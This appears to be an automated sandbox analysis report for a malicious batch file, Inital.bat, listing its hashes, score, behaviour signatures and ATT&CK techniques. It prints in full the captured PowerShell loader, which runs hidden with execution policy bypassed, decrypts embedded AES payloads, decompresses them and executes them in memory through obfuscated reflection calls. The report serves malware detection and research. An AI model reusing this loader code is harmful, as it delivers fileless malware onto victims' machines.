09d4308c18ecece489a51b7837968bcfc6c1273d83f5c83614bbdd119ccf6961

Analysis

max time kernel
16s
max time network
17s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
06-05-2024 23:00

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Inital.bat
Size

63KB
MD5

e9319ac7284b6bbadf0200fee286b6c1
SHA1

51c30382aa103118937f1a9bf453a8345febafb4
SHA256

09d4308c18ecece489a51b7837968bcfc6c1273d83f5c83614bbdd119ccf6961
SHA512

73e349b61c285cdb3cfdf41ae9ba166cc0f8e5c7b989bf744f9aa8433baf41ea3a01b46fa9a88cc97fa4ca5d80f57a9dbd8fea631a164566c9e95632c9f3404b
SSDEEP

1536:Z6e+aDqc6V/xOtoqfF4OycI/k0xqAD/xtM:Z6aDqpVuoqKL5fkAvM

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2244	powershell.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2244	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2244	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2244	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2220 wrote to memory of 2244	2220	cmd.exe	29
PID 2220 wrote to memory of 2244	2220	cmd.exe	29
PID 2220 wrote to memory of 2244	2220	cmd.exe	29
PID 2220 wrote to memory of 2244	2220	cmd.exe	29

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Inital.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2220
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('rQsZbBPOPJCvxNhL0LUES/xBoGdJPo5xjQuRz/WAY2Y='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('DjbA3otpI3NZoCoqJZkIpQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $XrWyO=New-Object System.IO.MemoryStream(,$param_var); $udTvC=New-Object System.IO.MemoryStream; $DGCBl=New-Object System.IO.Compression.GZipStream($XrWyO, [IO.Compression.CompressionMode]::Decompress); $DGCBl.CopyTo($udTvC); $DGCBl.Dispose(); $XrWyO.Dispose(); $udTvC.Dispose(); $udTvC.ToArray();}function execute_function($param_var,$param2_var){ $ILwNn=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $XDsjo=$ILwNn.EntryPoint; $XDsjo.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Inital.bat';$AUAcT=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Inital.bat').Split([Environment]::NewLine);foreach ($RmJpd in $AUAcT) { if ($RmJpd.StartsWith(':: ')) { $jmZjY=$RmJpd.Substring(3); break; }}$payloads_var=[string[]]$jmZjY.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: CmdExeWriteProcessMemorySpam
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2244

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2244-2-0x0000000074611000-0x0000000074612000-memory.dmp

Filesize
4KB

Download
memory/2244-4-0x0000000074610000-0x0000000074BBB000-memory.dmp

Filesize
5.7MB

Download
memory/2244-3-0x0000000074610000-0x0000000074BBB000-memory.dmp

Filesize
5.7MB

Download
memory/2244-5-0x0000000074610000-0x0000000074BBB000-memory.dmp

Filesize
5.7MB

Download
memory/2244-6-0x0000000074610000-0x0000000074BBB000-memory.dmp

Filesize
5.7MB

Download
memory/2244-7-0x0000000074610000-0x0000000074BBB000-memory.dmp

Filesize
5.7MB

Download